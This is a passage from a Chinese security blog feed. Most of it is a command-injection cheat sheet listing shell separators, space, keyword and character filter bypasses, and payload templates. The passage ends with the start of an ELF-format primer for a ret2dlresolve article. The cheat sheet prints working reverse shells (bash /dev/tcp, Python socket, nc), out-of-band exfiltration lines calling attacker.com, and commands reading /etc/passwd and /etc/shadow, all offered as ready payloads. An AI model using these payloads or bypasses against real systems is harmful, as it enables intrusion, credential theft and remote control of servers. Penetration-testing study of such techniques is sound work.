&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;分号&lt;/td&gt;
&lt;td&gt;顺序执行，不管前命令是否成功&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 ; cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;逻辑与&lt;/td&gt;
&lt;td&gt;前成功（返回0）才执行后&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 &amp;amp;&amp;amp; cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;||&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;逻辑或&lt;/td&gt;
&lt;td&gt;前失败（非0）才执行后&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 || cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;|&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;管道&lt;/td&gt;
&lt;td&gt;前的 stdout 作为后的 stdin&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 | cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;后台&lt;/td&gt;
&lt;td&gt;前台启动后台进程，同时继续执行&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 &amp;amp; cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\n&lt;/code&gt; / &lt;code&gt;%0a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;换行符&lt;/td&gt;
&lt;td&gt;等同于 &lt;code&gt;;&lt;/code&gt;，URL编码场景常用&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1%0acmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\r\n&lt;/code&gt; / &lt;code&gt;%0d%0a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;回车换行&lt;/td&gt;
&lt;td&gt;Windows/HTTP 场景下的换行&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1%0d%0acmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;1.2 Windows CMD&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;行为&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;顺序执行&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 &amp;amp; cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;前成功才执行后&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 &amp;amp;&amp;amp; cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;||&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;前失败才执行后&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 || cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;|&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;管道&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 | cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%0a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;URL编码换行（适用于HTTP参数传入cmd.exe的场景）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1%0acmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;1.3 PowerShell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;cmd1 ; cmd2          # 顺序执行
cmd1 &amp;amp;&amp;amp; cmd2         # 前成功才执行（PS 7+）
cmd1 || cmd2         # 前失败才执行（PS 7+）
cmd1 | cmd2          # 管道
cmd1 &amp;amp; { cmd2 }      # 调用运算符
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、命令替换（Linux）&lt;/h2&gt;
&lt;p&gt;命令替换用于将一个命令的输出嵌入另一个命令中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 反引号（旧式写法）
echo `whoami`
echo `cat /etc/passwd`

# $() 写法（推荐，可嵌套）
echo $(whoami)
echo $(cat /etc/passwd)

# 嵌套使用
echo $(echo $(id))

# 在赋值中使用
x=$(id); echo $x
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三、空格绕过技巧&lt;/h2&gt;
&lt;p&gt;当应用过滤了空格字符时：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# ${IFS} — 内部字段分隔符，默认含空格/tab/换行
cat${IFS}/etc/passwd
cat${IFS%?}/etc/passwd     # 去掉最后一个字符，还是空格

# $IFS$9 — 常用变体
cat$IFS$9/etc/passwd

# Tab 字符（%09）
cat%09/etc/passwd

# 花括号（Brace Expansion）
{cat,/etc/passwd}

# 重定向绕过
cat&amp;lt;/etc/passwd
cat&amp;lt;&amp;gt;/etc/passwd

# $&apos;\x20&apos; 表示空格的十六进制
X=$&apos;\x20&apos;; cat${X}/etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;四、关键字过滤绕过&lt;/h2&gt;
&lt;h3&gt;4.1 字符串拼接&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 单引号插入（不影响字符串内容）
c&apos;a&apos;t /etc/passwd
c&apos;&apos;a&apos;&apos;t /etc/passwd

# 双引号插入
c&quot;a&quot;t /etc/passwd
ca&quot;t&quot; /etc/passwd

# 反斜杠转义（对shell无意义但绕过简单过滤）
ca\t /etc/passwd
/bin/ca\t /etc/passwd

# 变量拼接
a=ca;b=t;$a$b /etc/passwd
X=ca;Y=t;$X$Y /etc/passwd

# 环境变量切片拼接
echo ${PATH:0:1}    # 取 PATH 第一个字符（通常是 /）
${PATH:0:1}etc${PATH:0:1}passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.2 编码绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 十六进制编码
$(printf &apos;\x63\x61\x74&apos;) /etc/passwd     # cat
$&apos;\x63\x61\x74&apos; /etc/passwd

# 八进制编码
$(printf &apos;\143\141\164&apos;) /etc/passwd     # cat

# base64 解码执行
echo &quot;d2hvYW1p&quot; | base64 -d | bash       # whoami
`echo &quot;d2hvYW1p&quot; | base64 -d`

# rev 反转字符串
echo &quot;tac&quot; | rev                          # cat
$(rev&amp;lt;&amp;lt;&amp;lt;tac) /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 通配符绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# ? 匹配单个字符
/???/??t /etc/passwd          # /bin/cat
/???/b??h                     # /bin/bash
/?i?/??t /etc/passwd

# * 匹配任意字符
/bin/c*t /etc/passwd
/bin/ca* /etc/passwd

# 字符类
/bin/[c]at /etc/passwd
/[b]in/cat /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.4 路径绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 绝对路径代替命令名
/bin/cat /etc/passwd
/usr/bin/id

# 环境变量中提取路径字符
${HOME:0:1}           # / (如果HOME=/home/user)
${SHELL:0:1}          # /

# 利用现有路径字符构造新路径
echo $SHELL           # /bin/bash
echo ${SHELL%%bash}   # /bin/
# 利用切片拼接 /bin/cat
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;五、过滤关键字符的绕过&lt;/h2&gt;
&lt;h3&gt;5.1 过滤了 &lt;code&gt;/&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 使用变量存储 /
SLASH=/; ${SLASH}bin${SLASH}cat ${SLASH}etc${SLASH}passwd
echo ${HOME} | cut -c1   # 取 HOME 的第一个字符 /

# 利用 cd + 相对路径
cd /etc; cat passwd

# ${PATH:0:1}
${PATH:0:1}bin${PATH:0:1}cat ${PATH:0:1}etc${PATH:0:1}passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.2 过滤了 &lt;code&gt;.&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 用 source 代替 .
source script.sh

# 用绝对路径避免相对路径中的 .
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.3 过滤了引号&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 使用 $() 代替
cat $(echo /etc/passwd)

# 变量赋值不需要引号
x=/etc/passwd; cat $x
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.4 过滤了括号 &lt;code&gt;()&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 不用括号的命令替换（反引号）
echo `id`
x=`cat /etc/passwd`

# 大括号（调用函数时也可用）
{id}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.5 过滤了 &lt;code&gt;cat&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 替代命令
tac /etc/passwd          # 反向输出
more /etc/passwd
less /etc/passwd
head /etc/passwd
tail /etc/passwd
nl /etc/passwd           # 带行号
strings /etc/passwd
od -c /etc/passwd        # 八进制dump
xxd /etc/passwd          # 十六进制dump
base64 /etc/passwd       # base64编码输出
rev /etc/passwd          # 反转每行字符

# 重定向读取
while read line; do echo $line; done &amp;lt; /etc/passwd

# python 读取
python3 -c &quot;print(open(&apos;/etc/passwd&apos;).read())&quot;
python3 -c &quot;import sys;sys.stdout.write(open(&apos;/etc/passwd&apos;).read())&quot;

# awk / sed
awk &apos;{print}&apos; /etc/passwd
sed &apos;&apos; /etc/passwd

# cp 到可访问路径
cp /etc/passwd /var/www/html/p.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、Windows 特殊技巧&lt;/h2&gt;
&lt;h3&gt;6.1 命令绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 插入无意义字符
wh^o^am^i                 # ^ 是转义符，插入不影响执行
who&quot;am&quot;i
w&quot;h&quot;o&quot;a&quot;m&quot;i&quot;

# 变量延迟展开
set x=who
set y=ami
%x%%y%

# FOR 循环嵌套执行
for /f %i in (&apos;whoami&apos;) do @echo %i
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.2 PowerShell 绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# IEX 执行字符串
IEX &quot;whoami&quot;
Invoke-Expression &quot;whoami&quot;

# 编码执行（-EncodedCommand）
powershell -EncodedCommand dwBoAG8AYQBtAGkA    # base64(whoami)

# 字符拼接
$c = &apos;who&apos; + &apos;ami&apos;; Invoke-Expression $c

# 通过环境变量
$env:ComSpec                                    # C:\Windows\System32\cmd.exe
&amp;amp; $env:ComSpec /c whoami
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;七、特殊场景&lt;/h2&gt;
&lt;h3&gt;7.1 PHP system/exec 中&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 参数中注入
system(&quot;ping &quot; . $_GET[&apos;ip&apos;]);
// payload: 127.0.0.1 ; cat /etc/passwd
// payload: 127.0.0.1 &amp;amp;&amp;amp; cat /etc/passwd
// payload: 127.0.0.1 | cat /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.2 Python subprocess 中&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 使用 shell=True 时存在注入风险
subprocess.call(&quot;ping &quot; + user_input, shell=True)
# payload: 127.0.0.1 ; id
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.3 盲命令注入（无回显）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 时间盲注
ping -c 5 127.0.0.1    # 延迟5秒

# DNS带外（OOB）
curl http://$(whoami).attacker.com
ping `whoami`.attacker.com
nslookup `id`.attacker.com

# 写文件带外
whoami &amp;gt; /var/www/html/output.txt
id &amp;gt; /tmp/x; curl http://attacker.com/?x=$(cat /tmp/x)

# nc 反弹
bash -i &amp;gt;&amp;amp; /dev/tcp/attacker.com/4444 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;八、过滤检测与绕过思路&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;检测到的过滤字符 → 对应绕过方案

空格被过滤      → ${IFS}, %09, &amp;lt;, {cmd,arg}
/ 被过滤        → ${PATH:0:1}, 变量拼接, cd 切换
引号被过滤      → 反引号, $(), 不用引号直接用变量
字母被过滤      → hex编码 \x??, base64解码, 变量拼接
cat被过滤       → tac/more/less/head/tail/od/xxd/awk
括号被过滤      → 反引号 ``
换行被过滤      → ;, &amp;amp;&amp;amp;, ||, &amp;amp;
;被过滤         → %0a换行, &amp;amp;&amp;amp;, ||
数字被过滤      → $((表达式)), ${#变量}取长度当数字
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;九、实战 Payload 模板&lt;/h2&gt;
&lt;h3&gt;基础探测&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 无回显探测（DNS）
;curl http://$(whoami).BURPCOLLAB/
;ping -c1 `id`.BURPCOLLAB

# 有回显探测
;id
;whoami
;cat /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;读文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;;cat /etc/passwd
;cat${IFS}/etc/shadow
;base64 /etc/passwd
;xxd /etc/passwd | xxd -r
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;反弹 Shell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# bash
bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1
bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1&apos;

# URL编码版本（GET参数中）
bash%20-i%20&amp;gt;%26%20/dev/tcp/IP/PORT%200&amp;gt;%261

# python
python3 -c &apos;import socket,subprocess,os;s=socket.socket();s.connect((&quot;IP&quot;,PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([&quot;/bin/sh&quot;])&apos;

# nc
nc -e /bin/bash IP PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc IP PORT &amp;gt;/tmp/f
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>从0到1详解剖析 ret2dlresolve</title><link>https://0xh3y3.github.io/posts/ret2dlresolve/</link><guid isPermaLink="true">https://0xh3y3.github.io/posts/ret2dlresolve/</guid><description>深入剖析 ELF 文件格式、动态链接机制与 ret2dlresolve 利用技术，涵盖 32 位/64 位、NO RELRO/Partial RELRO 多种场景及完整 exp 板子。</description><pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;ELF文件格式&lt;/h1&gt;
&lt;p&gt;ELF（Executable and Linkable Format）是一种常见的可执行文件和可链接文件格式，主要用于Linux和类Unix系统。ELF 文件可以包含不同的类型，常见的 ELF 文件类型包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可执行文件（&lt;code&gt;ET_EXEC&lt;/code&gt;）：这种类型的 ELF 文件是可直接执行的程序，可以在操作系统上运行。&lt;/li&gt;
&lt;li&gt;共享目标文件（&lt;code&gt;ET_DYN&lt;/code&gt;）：这种类型的 ELF 文件是可被动态链接的共享库，可以在运行时与其他程序动态链接。该类型文件后缀名为 &lt;code&gt;.so&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;可重定位文件（&lt;code&gt;ET_REL&lt;/code&gt;）：这种类型的 ELF 文件是编译器生成的目标文件，通常用于将多个目标文件链接到一个可执行文件或共享库中。该类型文件后缀名为 &lt;code&gt;.o&lt;/code&gt; ，静态链接库（&lt;code&gt;.a&lt;/code&gt;）也可以归为这一类。&lt;/li&gt;
&lt;li&gt;核心转储文件（&lt;code&gt;ET_CORE&lt;/code&gt;）：这种类型的 ELF 文件是操作系统在程序崩溃或发生错误时生成的核心转储文件，用于调试和分析程序崩溃的原因。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ELF 文件结构及相关常数被定义在 &lt;code&gt;/usr/include/elf.h&lt;/code&gt; 里，因为 ELF 文件在各种平台下都通用，ELF文件有 32 位版本和 64 位版本。32 位版本与 64 位版本的 ELF 文件的格式基本是一样的（部分结构体为了优化对齐后大小调整了成员的顺序），只不过有些成员的大小不一样。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;elf.h&lt;/code&gt; 使用 typedef 定义了一套自己的变量体系：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;自定义类型&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;th&gt;原始类型&lt;/th&gt;
&lt;th&gt;长度（字节）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf32_Addr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;32 位版本程序地址&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint32_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf32_Half&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;32 位版本的无符号短整型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint16_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf32_Off&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;32 位版本的偏移地址&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint32_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf32_Sword&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;32 位版本有符号整型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint32_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf32_Word&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;32 位版本无符号整型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int32_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf64_Addr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64 位版本程序地址&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint64_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf64_Half&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64 位版本的无符号短整型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint16_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf64_Off&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64 位版本的偏移地址&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint64_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf64_Sword&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64 位版本有符号整型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint32_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf64_Word&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64 位版本无符号整型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int32_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf64_Section&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64 位版本符号所在段（section）表的索引&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint16_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Elf64_Xword&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64 位版本符号所占内存大小&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint64_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;ELF 主要管理结构为文件头，程序头表（可重定位文件没有）和节表，其他部分有一个个节组成，多个属性相同的节构成一个段。对于节的介绍这里按照静态链接相关和动态链接相关分别介绍。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-elf-structure.png&quot; alt=&quot;ELF 文件结构示意图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;文件头&lt;/h2&gt;
&lt;p&gt;我们这里以 32 位版本的文件头结构 &lt;code&gt;Elf32_Ehdr&lt;/code&gt; 作为例子来描述，它的定义如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* The ELF file header.  This appears at the start of every ELF file.  */

#define EI_NIDENT (16)

typedef struct
{
  unsigned char	e_ident[EI_NIDENT];	/* Magic number and other info */
  Elf32_Half	e_type;			/* Object file type */
  Elf32_Half	e_machine;		/* Architecture */
  Elf32_Word	e_version;		/* Object file version */
  Elf32_Addr	e_entry;		/* Entry point virtual address */
  Elf32_Off	e_phoff;		/* Program header table file offset */
  Elf32_Off	e_shoff;		/* Section header table file offset */
  Elf32_Word	e_flags;		/* Processor-specific flags */
  Elf32_Half	e_ehsize;		/* ELF header size in bytes */
  Elf32_Half	e_phentsize;		/* Program header table entry size */
  Elf32_Half	e_phnum;		/* Program header table entry count */
  Elf32_Half	e_shentsize;		/* Section header table entry size */
  Elf32_Half	e_shnum;		/* Section header table entry count */
  Elf32_Half	e_shstrndx;		/* Section header string table index */
} Elf32_Ehdr;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;e_ident&lt;/code&gt;：ELF 文件的魔数和其他信息。&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;前 4 字节为 &lt;code&gt;ELFMAG&lt;/code&gt; 即 &lt;code&gt;\x7fELF&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;第 5 字节为 ELF 文件类型，值为 &lt;code&gt;ELFCLASS32(1)&lt;/code&gt; 代表 32 位，值为 &lt;code&gt;ELFCLASS64(2)&lt;/code&gt; 代表 64 位。&lt;/li&gt;
&lt;li&gt;第 6 字节为 ELF 的字节序，0 为无效格式，1 为小端格式，2 为大端格式。&lt;/li&gt;
&lt;li&gt;第 7 字节为 ELF 版本，一般为 1 ，即 1.2 版本。&lt;/li&gt;
&lt;li&gt;后面 9 字节没有定义一般填 0 ，有些平台会使用这 9 个字节作为扩展标志。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;e_type&lt;/code&gt;：表示ELF文件类型，如可执行文件、共享对象文件（&lt;code&gt;.so&lt;/code&gt;）、可重定位文件（&lt;code&gt;.o&lt;/code&gt;）等。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e_machine&lt;/code&gt;：表示目标体系结构，即程序的目标平台，如 x86、ARM 等。相关常量以 &lt;code&gt;EM_&lt;/code&gt; 开头。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e_version&lt;/code&gt;：ELF 文件版本号，一般为常数 1 。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;e_entry&lt;/code&gt;：表示程序入口点虚拟地址。操作系统加载完程序后从这个地址开始执行进程的命令。可重定位文件一般没有入口地址，则这个值为 0 。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;e_phoff&lt;/code&gt;：表示程序头表的文件偏移量。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;e_shoff&lt;/code&gt;：表示节表的文件偏移量。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e_flags&lt;/code&gt;：表示处理器特定标志。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;e_ehsize&lt;/code&gt;：表示 ELF 文件头的大小。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;e_phentsize&lt;/code&gt;：表示程序头表中每个表项的大小。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;e_phnum&lt;/code&gt;：表示程序头表中表项的数量。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;e_shentsize&lt;/code&gt;：表示节表中每个表项的大小。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;e_shnum&lt;/code&gt;：表示节表中表项的数量。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e_shstrndx&lt;/code&gt;：&lt;strong&gt;表示节表中字符串表的索引。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;程序头表&lt;/h2&gt;
&lt;p&gt;ELF 可执行文件中有一个专门的数据结构叫做程序头表（Program Header Table）用来保存&lt;strong&gt;段&lt;/strong&gt;（&lt;strong&gt;注意不是节&lt;/strong&gt;）的信息。因为 ELF &lt;strong&gt;目标文件&lt;/strong&gt;不需要被装载，所以它没有程序头表，而 ELF 的&lt;strong&gt;可执行文件&lt;/strong&gt;和&lt;strong&gt;共享库文件&lt;/strong&gt;都有程序头表。&lt;/p&gt;
&lt;p&gt;程序头表是由 &lt;code&gt;Elf*_Phdr&lt;/code&gt; 组成的数组，用于描述 ELF 文件中每个节的属性和信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Program segment header.  */

typedef struct
{
  Elf32_Word	p_type;			/* Segment type */
  Elf32_Off	p_offset;		/* Segment file offset */
  Elf32_Addr	p_vaddr;		/* Segment virtual address */
  Elf32_Addr	p_paddr;		/* Segment physical address */
  Elf32_Word	p_filesz;		/* Segment size in file */
  Elf32_Word	p_memsz;		/* Segment size in memory */
  Elf32_Word	p_flags;		/* Segment flags */
  Elf32_Word	p_align;		/* Segment alignment */
} Elf32_Phdr;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;p_type&lt;/code&gt;：段的类型，例如可执行段、数据段等。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p_offset&lt;/code&gt;：段在文件中的偏移量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p_vaddr&lt;/code&gt;：段在虚拟内存中的起始地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p_paddr&lt;/code&gt;：段在物理内存中的起始地址。因为 ELF 还没装载不知道物理地址，所以作为保留字段。通常和 &lt;code&gt;p_vaddr&lt;/code&gt; 的值是一样的。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p_filesz&lt;/code&gt;：段在文件中的大小。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p_memsz&lt;/code&gt;：段在内存中的大小。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p_flags&lt;/code&gt;：段的标志，例如可读、可写、可执行等。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p_align&lt;/code&gt;：段在文件和内存中的对齐方式。段的加载地址要能被 $2^{p_align}$ 整除。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;节表&lt;/h2&gt;
&lt;p&gt;ELF文件里面定义一个固定长度的 &lt;code&gt;Elf*_Shdr&lt;/code&gt; 结构体数组用来存放&lt;strong&gt;节&lt;/strong&gt;相关信息，与 PE 文件的节表相似。&lt;/p&gt;
&lt;blockquote&gt;
